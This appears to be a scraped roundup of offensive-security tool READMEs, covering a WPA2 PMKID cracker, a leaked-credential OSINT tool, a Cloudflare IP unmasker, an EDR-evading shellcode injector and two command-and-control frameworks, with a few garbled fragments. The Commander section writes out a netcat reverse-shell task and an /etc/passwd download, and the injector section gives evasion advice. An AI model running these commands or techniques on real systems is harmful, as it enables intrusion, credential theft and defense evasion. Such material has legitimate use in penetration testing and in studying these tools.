      - revwhoix -k "{{ORG}}" > {{OUTPUT_DIR}}/root-domains.txt

  - name: finding-subdomains
    cmds:
      - xargs -I {} -a {{OUTPUT_DIR}}/root-domains.txt echo "subfinder -d {} -o {}.out" | quaithe -workers 30 
    silent: false

  - name: cleaning-subdomains
    cmds:
      -  cat *.out > {{OUTPUT_DIR}}/root-subdomains.txt
      -  rm *.out
    silent: true

  - name: resolving-subdomains
    cmds:
      - cat {{OUTPUT_DIR}}/root-subdomains.txt | dnsx -silent -threads 100 -o {{OUTPUT_DIR}}/resolved-subdomains.txt
    silent: false

  - name: checking-alive-subdomains
    cmds:
      - cat {{OUTPUT_DIR}}/resolved-subdomains.txt | httpx -silent -threads 100   0 -o {{OUTPUT_DIR}}/alive-subdomains.txt
    silent: false

To execute the above workflow, run the following command:

rayder -w path/to/reverse-whois.yaml ORG="Yelp, Inc" OUTPUT_DIR=results

Parallel Execution

The parallel field in the workflow configuration determines whether modules should be executed in parallel or sequentially. Setting parallel to true allows modules to run concurrently, making it suitable for modules with no dependencies. When set to false, modules will execute one after another.

Workflows

Explore a collection of sample workflows and examples in the Rayder workflows repository. Stay tuned for more additions!

Inspiration

Inspiration of this project comes from Awesome taskfile project.

Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.

Program Usage

python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

How PMKID is Calculated

The two main formulas to obtain a PMKID are as follows:

1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

Obtaining the PMKID

Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

Open the pcap in WireShark:

• Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
• In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
• In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

If access point is vulnerable, you should see the PMKID value like the below screenshot:

Demo Run

Disclaimer

This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.

EmploLeaks - An OSINT Tool That Helps Detect Members Of A Company With Leaked Credentials

This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.

How it Works

The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.

Installation

To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:

cd cli
pip install -r requirements.txt

OSX

We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:

cd cli
python3 -m pip install psycopg2-binary`

Basic Usage

To use the tool, simply run the following command:

python3 cli/emploleaks.py

If everything went well during the installation, you will be able to start using EmploLeaks:

___________              .__         .__                 __
\_   _____/ _____ ______ |  |   ____ |  |   ____ _____  |  | __  ______
 |    __)_ /     \____  \|  |  /  _ \|  | _/ __ \__   \ |  |/ / /  ___/
 |        \  Y Y  \  |_> >  |_(  <_> )  |_\  ___/ / __ \|    <  \___ \
/_______  /__|_|  /   __/|____/\____/|____/\___  >____  /__|_ \/____  >
        \/      \/|__|                         \/     \/     \/     \/

OSINT tool 🕵  to chain multiple apis
emploleaks>

Right now, the tool supports two functionalities:

• Linkedin, for searching all employees from a company and get their personal emails.
  • A GitLab extension, which is capable of finding personal code repositories from the employees.
• If defined and connected, when the tool is gathering employees profiles, a search to a COMB database will be made in order to retrieve leaked passwords.

Retrieving Linkedin Profiles

First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:

emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID: 
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at: 
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:

Name        Current Setting                      Required    Description
----------  -----------------------------------  ----------  -----------------------------------
hide        yes                                  no          hide the JSESSIONID field
JSESSIONID  **************************           no          active cookie session in browser #1
li-at       AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG  no          active cookie session in browser #1
            YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
            cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
            lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
            kyCyfN58SNNH
emploleaks(linkedin)> run i   mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at

li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.

Now that the module is configured, you can run it and start gathering information from the company:

emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15

├── count_total.sh
├── data
│   ├── 0
│   ├── 1
│   │   ├── 0
│   │   ├── 1
│   │   ├── 2
│   │   ├── 3
│   │   ├── 4
│   │   ├─â&€ 5
│   │   ├── 6
│   │   ├── 7
│   │   ├── 8
│   │   ├── 9
│   │   ├── a
│   │   ├── b
│   │   ├── c
│   │   ├── d
│   │   ├── e
│   │   ├── f
│   │   ├── g
│   │   ├── h
│   │   ├── i
│   │   ├── j
│   │   ├── k
│   │   ├── l
│   │   ├── m
│   │   ├⠀─ n
│   │   ├── o
│   │   ├── p
│   │   ├── q
│   │   ├── r
│   │   ├── s
│   │   ├── symbols
│   │   ├── t

MacMaster - MAC Address Changer

MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.

Features

• Custom MAC Address: Set a specific MAC address to your network interface.
• Random MAC Address: Generate and set a random MAC address.
• Reset to Original: Reset the MAC address to its original hardware value.
• Custom OUI: Set a custom Organizationally Unique Identifier (OUI) for the MAC address.
• Version Information: Easily check the version of MacMaster you are using.

Installation

MacMaster requires Python 3.6 or later.

1. Clone the repository:

   $ git clone https://github.com/HalilDeniz/MacMaster.git

2. Navigate to the cloned directory:

   cd MacMaster

3. Install the package:

   $ python setup.py install

Usage

$ macmaster --help         
usage: macmaster [-h] [--interface INTERFACE] [--version]
                 [--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]

MacMaster: Mac Address Changer

options:
  -h, --help            show this help message and exit
  --interface INTERFACE, -i INTERFACE
                        Network interface to change MAC address
  --version, -V         Show the version of the program
  --random, -r          Set a random MAC address
  --newmac NEWMAC, -nm NEWMAC
                        Set a specific MAC address
  --customoui CUSTOMOUI, -co CUSTOMOUI
                        Set a custom OUI for the MAC address
  --reset, -rs          Reset MAC address to the original value

Arguments

• --interface, -i: Specify the network interface.
• --random, -r: Set a random MAC address.
• --newmac, -nm: Set a specific MAC address.
• --customoui, -co: Set a custom OUI for the MAC address.
• --reset, -rs: Reset MAC address to the original value.
• --version, -V: Show the version of the program.

1. Set a specific MAC address:

   $ macmaster.py -i eth0 -nm 00:11:22:33:44:55

2. Set a random MAC address:

   $ macmaster.py -i eth0 -r

3. Reset MAC address to its original value:

   $ macmaster.py -i eth0 -rs

4. Set a custom OUI:

   $ macmaster.py -i eth0 -co 08:00:27

5. Show program version:

   $ macmaster.py -V

Replace eth0 with your desired network interface.

Note

You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.

Contributing

Contributions are welcome! To contribute to MacMaster, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:

Contact

• Linktr :Halil Deniz
• LinkedIn : Halil İbrahim Deniz
• TryHackMe : halilovic
• Instagram : deniz.halil333
• YouTube : HalilDeniz
• Email: halildeniz313@gmail.com

NetProbe - Network Probe

NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

Features

• Scan for devices on a specified IP address or subnet
• Display the IP address, MAC address, manufacturer, and device model of discovered devices
• Live tracking of devices (optional)
• Save scan results to a file (optional)
• Filter by manufacturer (e.g., 'Apple') (optional)
• Filter by IP range (e.g., '192.168.1.0/24') (optional)
• Scan rate in seconds (default: 5) (optional)

Download

You can download the program from the GitHub page.

$ git clone https://github.com/HalilDeniz/NetProbe.git

Installation

To install the required libraries, run the following command:

$ pip install -r requirements.txt

Usage

To run the program, use the following command:

$ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

• -h,--help: show this help message and exit
• -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
• -i,--interface: Interface to use (default: None)
• -l,--live: Enable live tracking of devices
• -o,--output: Output file to save the results
• -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
• -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
• -s,--scan-rate: Scan rate in seconds (default: 5)

Example:

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

Help Menu

$ python3 netprobe.py --help                      
usage: netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

NetProbe: Network Scanner Tool

options:
  -h, --help            show this help message and exit
  -t  [ ...], --target  [ ...]
                        Target IP address or subnet (default: 192.168.1.0/24)
  -i  [ ...], --interface  [ ...]
                        Interface to use (default: None)
  -l, --live            Enable live tracking of devices
  -o , --output         Output file to save the results
  -m , --manufacturer   Filter by manufacturer (e.g., 'Apple')
  -r , --ip-range       Filter by IP range (e.g., '192.168.1.0/24')
  -s , --scan-rate      Scan rate in seconds (default: 5)

Default Scan

$ python3 netprobe.py 

Live Tracking

You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

Save Results

You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt

┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 192.168.1.1  │ **:6e:**:97:**:28 │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.3  │ 00:**:22:**:12:** │ 102         │ InPro Comm                   │
│ 192.168.1.2  │ **:32:**:bf:**:00 │ 102         │ Xiaomi Communications Co Ltd │
│ 192.168.1.98 │ d4:**:64:**:5c:** │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.25 │ **:49:**:00:**:38 │ 102         │ Unknown                      │
└──────────────┴───────────────────┴─────────────┴──────────────────────────────┘

Contact

If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

• Mywebsite: Denizhalil
• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

This program is released under the MIT LICENSE. See LICENSE for more information.

CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare

CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.

Key Features:

• Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.

• Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.

• Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.

• Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.

With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.

Limitation

- Still in the development phase, sometimes it can't detect the real Ip.

- CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement. 

1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.

2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.

3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri   mary host. Some subdomains may also be protected by Cloudflare.

This tool is a Proof of Concept and is for Educational Purposes Only.

How to Use:

1. Run CloudScan with a single command-line argument: the target domain you want to analyze.

    git clone https://github.com/spyboy-productions/CloakQuest3r.git
   

   cd CloakQuest3r
   

   pip3 install -r requirements.txt
   

   python cloakquest3r.py example.com
   

2. The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.

3. If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.

4. You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.

5. Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.

CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.

Run It Online:

Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r

Kali Linux 2023.4 - Penetration Testing and Ethical Hacking Linux Distribution

PathFinder - Tool That Provides Information About A Website

Web Path Finder is a Python program that provides information about a website. It retrieves various details such as page title, last updated date, DNS information, subdomains, firewall names, technologies used, certificate information, and more. 

• Retrieve important information about a website
• Gain insights into the technologies used by a website
• Identify subdomains and DNS information
• Check firewall names and certificate details
• Perform bypass operations for captcha and JavaScript content

1. Clone the repository:

   git clone https://github.com/HalilDeniz/PathFinder.git
   

2. Install the required packages:

   pip install -r requirements.txt
   

This will install all the required modules and their respective versions.

Run the program using the following command:

┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 web-info-explorer.py --help                                             
usage: wpathFinder.py [-h] url

Web Information Program

positional arguments:
  url         Enter the site URL

options:
  -h, --help  show this help message and exit

Replace <url> with the URL of the website you want to explore.

Here is an example output of running the program:

┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 pathFinder.py https://www.facebook.com/
    Site Information:
    Title:  Facebook - Login or Register
    Last Updated Date:  None
    First Creation Date:  1997-03-29 05:00:00
    Dns Information:  []
    Sub Branches:  ['157']
Firewall Names:  []
    Technologies Used:  javascript, php, css, html, react
    Certificate Information:
    Certificate Issuer: US
    Certificate Start Date: 2023-02-07 00:00:00
    Certificate Expiration Date: 2023-05-08 23:59:59
    Certificate Validity Period (Days): 90
    Bypassed JavaScript content:  

Commander - A Command And Control (C2) Server

Commander is a command and control framework (C2) written in Python, Flask and SQLite. It comes with two agents written in Python and C.

Under Continuous Development

Not script-kiddie friendly

Features

• Fully encrypted communication (TLS)
• Multiple Agents
• Obfuscation
• Interactive Sessions
• Scalable
• Base64 data encoding
• RESTful API

Agents

• Python 3
  • The python agent supports:
    • sessions, an interactive shell between the admin and the agent (like ssh)
    • obfuscation
    • Both Windows and Linux systems
    • download/upload files functionality
• C
  • The C agent supports only the basic functionality for now, the control of tasks for the agents
  • Only for Linux systems

Requirements

Python >= 3.6 is required to run and the following dependencies

Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

How to Use it

First create the required certs and keys

# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Start the admin.py module first in order to create a local sqlite db file

python3 admin.py

Continue by running the server

python3 c2_server.py

And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.

# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.

As the Operator/Administrator you can use the following commands to control your agents

Commands:

  task add arg c2-commands
    Add a task to an agent, to a group or on all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
      c2-register: Triggers the agent to register again.
      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
         cmd: The command to execute.
      c2-sleep: Configure the interval that an agent will check for tasks.
      c2-session port: Instructs the agent to open a shell session with the server to this port.
         port: The port to connect to. If it is not provided it defaults to 5555.
      c2-quit: Forces an agent to quit.

  task delete arg
    Delete a task from an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Displays inf   o for all the availiable agents or for specific agent.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Displays the task of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Displays the history/result of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Drops the database so that the active agents will be registered again.

  exit
    Bye Bye!


Sessions:

  sessions server arg [port]
    Controls a session handler.
    arg: can have the following values: 'start' , 'stop' 'status' 
    port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
  sessions select arg
    Select in which session to attach.
       arg: the index from the 'sessions list' result 
  sessions close arg
    Close a session.
    arg: the index from the 'sessions list' result 
  sessions list
    Displays the availiable sessions
  local-ls directory
    Lists on your host the files on the selected directory 
  download 'file'
    Downloads the 'file' locally on the current directory 
  upload 'file'
    Uploads a file in the directory where the agent currently is 

Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P

The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.

Flows

Below you can find a normal flow diagram

Normal Flow

In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.

More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.

Below is the flow diagram for this case.

Re-register Flow

Useful examples

To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.

# show all availiable agents
show agent all

To instruct all the agents to run the command "id" you can do it like this:

# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

# to set it for all agents
task add all c2-sleep 30

# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 

pip install pyinstaller
pyinstaller --onefile agent.py

cd tests/
py.test

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

RecycledInjector - Native Syscalls Shellcode Injector

(Currently) Fully Undetected same-process native/.NET assembly shellcode injector based on RecycledGate by thefLink, which is also based on HellsGate + HalosGate + TartarusGate to ensure undetectable native syscalls even if one technique fails.

To remain stealthy and keep entropy on the final executable low, do ensure that shellcode is always loaded externally since most AV/EDRs won't check for signatures on non-executable or DLL files anyway.

Important to also note that the fully undetected part refers to the loading of the shellcode, however, the shellcode will still be subject to behavior monotoring, thus make sure the loaded executable also makes use of defense evasion techniques (e.g., SharpKatz which features DInvoke instead of Mimikatz).

Usage

.\RecycledInjector.exe <path_to_shellcode_file>

Proof of Concept

This proof of concept leverages Terminator by ZeroMemoryEx to kill most security solution/agents present on the system. It is used against Microsoft Defender for Endpoint EDR.

On the left we inject the Terminator shellcode to load the vulnerable driver and kill MDE processes, and on the right is an example of loading and executing Invoke-Mimikatz remotely from memory, which is not stopped as there is no running security solution anymore on the system.

Cyberattacks Targeting E-commerce Applications

Kali Linux 2023.3 - Penetration Testing and Ethical Hacking Linux Distribution

Sysreptor - Fully Customisable, Offensive Security Reporting Tool Designed For Pentesters, Red Teamers And Other Security-Related People Alike

Easy and customisable pentest report creator based on simple web technologies.

SysReptor is a fully customisable, offensive security reporting tool designed for pentesters, red teamers and other security-related people alike. You can create designs based on simple HTML and CSS, write your reports in user-friendly Markdown and convert them to PDF with just a single click, in the cloud or on-premise!

Your Benefits

SysReptor Cloud

You just want to start reporting and save yourself all the effort of setting up, configuring and maintaining a dedicated server? Then SysReptor Cloud is the right choice for you! Get to know SysReptor on our Playground and if you like it, you can get your personal Cloud instance here:



Sign up here

SysReptor Self-Hosted

You prefer self-hosting? That's fine! You will need:

• Ubuntu
• Latest Docker (with docker-compose-plugin)

You can then install SysReptor with via script:

curl -s https://docs.sysreptor.com/install.sh | bash

After successful installation, access your application at http://localhost:8000/.

Get detailed installation instructions at Installation.

Scanner-and-Patcher - A Web Vulnerability Scanner And Patcher

This tools is very helpful for finding vulnerabilities present in the Web Applications.

• A web application scanner explores a web application by crawling through its web pages and examines it for security vulnerabilities, which involves generation of malicious inputs and evaluation of application's responses.
• These scanners are automated tools that scan web applications to look for security vulnerabilities. They test web applications for common security problems such as cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF).
• This scanner uses different tools like nmap, dnswalk, dnsrecon, dnsenum, dnsmap etc in order to scan ports, sites, hosts and network to find vulnerabilites like OpenSSL CCS Injection, Slowloris, Denial of Service, etc.

Tools Used

Working

Phase 1

• User has to write:- "python3 web_scan.py (https or http) ://example.com"
• At first program will note initial time of running, then it will make url with "www.example.com".
• After this step system will check the internet connection using ping.
• Functionalities:-
• To navigate to helper menu write this command:- --help for update --update
• If user want to skip current scan/test:- CTRL+C
• To quit the scanner use:- CTRL+Z
• The program will tell scanning time taken by the tool for a specific test.

Phase 2

• From here the main function of scanner will start:
• The scanner will automatically select any tool to start scanning.
• Scanners that will be used and filename rotation (default: enabled (1)
• Command that is used to initiate the tool (with parameters and extra params) already given in code
• After founding vulnerability in web application scanner will classify vulnerability in specific format:-
• [Responses + Severity (c - critical | h - high | m - medium | l - low | i - informational) + Reference for Vulnerability Definition and Remediation]
• Here c or critical defines most vulnerability wheres l or low is for least vulnerable system

Definitions:-

• Critical:- Vulnerabilities that score in the critical range usually have most of the following characteristics: Exploitation of the vulnerability likely results in root-level compromise of servers or infrastructure devices.Exploitation is usually straightforward, in the sense that the attacker does not need any special authentication credentials or knowledge about individual victims, and does not need to persuade a target user, for example via social engineering, into performing any special functions.

• High:- An attacker can fully compromise the confidentiality, integrity or availability, of a target system without specialized access, user interaction or circumstances that are beyond the attacker’s control. Very likely to allow lateral movement and escalation of attack to other systems on the internal network of the vulnerable application. The vulnerability is difficult to exploit. Exploitation could result in elevated privileges. Exploitation could result in a significant data loss or downtime.

• Medium:- An attacker can partially compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attacker’s control may be required for an attack to succeed. Very likely to be used in conjunction with other vulnerabilities to escalate an attack.Vulnerabilities that require the attacker to manipulate individual victims via social engineering tactics. Denial of service vulnerabilities that are difficult to set up. Exploits that require an attacker to reside on the same local network as the victim. Vulnerabilities where exploitation provides only very limited access. Vulnerabilities that require user privileges for successful exploitation.

• Low:- An attacker has limited scope to compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attacker’s control is required for an attack to succeed. Needs to be used in conjunction with other vulnerabilities to escalate an attack.

• Info:- An attacker can obtain information about the web site. This is not necessarily a vulnerability, but any information which an attacker obtains might be used to more accurately craft an attack at a later date. Recommended to restrict as far as possible any information disclosure.

• CVSS V3 SCORE RANGE	SEVERITY IN ADVISORY
  0.1 - 3.9	Low
  4.0 - 6.9	Medium
  7.0 - 8.9	High
  9.0 - 10.0	Critical

Vulnerabilities

• After this scanner will show results which inclues:
• Response time
• Total time for scanning
• Class of vulnerability

Remediation

• Now, Scanner will tell about harmful effects of that specific type vulnerabilility.
• Scanner tell about sources to know more about the vulnerabilities. (websites).
• After this step, scanner suggests some remdies to overcome the vulnerabilites.

Phase 3

• Scanner will Generate a proper report including
• Total number of vulnerabilities scanned
• Total number of vulnerabilities skipped
• Total number of vulnerabilities detected
• Time taken for total scan
• Details about each and every vulnerabilites.
• Writing all scan files output into SA-Debug-ScanLog for debugging purposes under the same directory
• For Debugging Purposes, You can view the complete output generated by all the tools named SA-Debug-ScanLog.

Use

Use Program as python3 web_scan.py (https or http) ://example.com

--help
--update

Installation

git clone https://github.com/Malwareman007/Scanner-and-Patcher.git
cd Scanner-and-Patcher/setup
python3 -m pip install --no-cache-dir -r requirements.txt

Screenshots of Scanner

Contributions

Template contributions , Feature Requests and Bug Reports are more than welcome.

Authors

Contributing

Contributions, issues and feature requests are welcome!
Feel free to check issues page.

Kali Linux 2023.2 - Penetration Testing and Ethical Hacking Linux Distribution

Nimbo-C2 - Yet Another (Simple And Lightweight) C2 Framework

About

Nimbo-C2 is yet another (simple and lightweight) C2 framework.

Nimbo-C2 agent supports x64 Windows & Linux. It's written in Nim, with some usage of .NET on Windows (by dynamically loading the CLR to the process). Nim is powerful, but interacting with Windows is much easier and robust using Powershell, hence this combination is made. The Linux agent is slimer and capable only of basic commands, including ELF loading using the memfd technique.

All server components are written in Python:

• HTTP listener that manages the agents.
• Builder that generates the agent payloads.
• Nimbo-C2 is the interactive C2 component that rule'em all!

My work wouldn't be possible without the previous great work done by others, listed under credits.

Features

• Build EXE, DLL, ELF payloads.
• Encrypted implant configuration and strings using NimProtect.
• Packing payloads using UPX and obfuscate the PE section names (UPX0, UPX1) to make detection and unpacking harder.
• Encrypted HTTP communication (AES in CBC mode, key hardcoded in the agent and configurable by the config.jsonc).
• Auto-completion in the C2 Console for convenient interaction.
• In-memory Powershell commands execution.
• File download and upload commands.
• Built-in discovery commands.
• Screenshot taking, clipboard stealing, audio recording.
• Memory evasion techniques like NTDLL unhooking, ETW & AMSI patching.
• LSASS and SAM hives dumping.
• Shellcode injection.
• Inline .NET assemblies execution.
• Persistence capabilities.
• UAC bypass methods.
• ELF loading using memfd in 2 modes.
• And more !

Installation

Easy Way

1. Clone the repository and cd in

git clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2

2. Build the docker image

docker build -t nimbo-dependencies .

3. cd again into the source files and run the docker image interactively, expose port 80 and mount Nimbo-C2 directory to the container (so you can easily access all project files, modify config.jsonc, download and upload files from agents, etc.). For Linux replace ${pwd} with $(pwd).

cd Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 nimbo-dependencies

Easier Way

git clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2/Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 itaymigdal/nimbo-dependencies

Usage

First, edit config.jsonc for your needs.

Then run with: python3 Nimbo-C2.py

Use the help command for each screen, and tab completion.

Also, check the examples directory.

Main Window

Nimbo-C2 > help

    --== Agent ==--
    agent list                    ->  list active agents
    agent interact <agent-id>     ->  interact with the agent
    agent remove <agent-id>       ->  remove agent data

    --== Builder ==--
    build exe                     ->  build exe agent (-h for help)
    build dll                     ->  build dll agent (-h for help)
    build elf                     ->  build elf agent (-h for help)

    --== Listener ==--
    listener start                ->  start the listener
    listener stop                 ->  stop the listener
    listener status               ->  print the listener status

    --== General ==--
    cls                           ->  clear the screen
    help                          ->  print this help message
    exit                          ->  exit Nimbo-C2

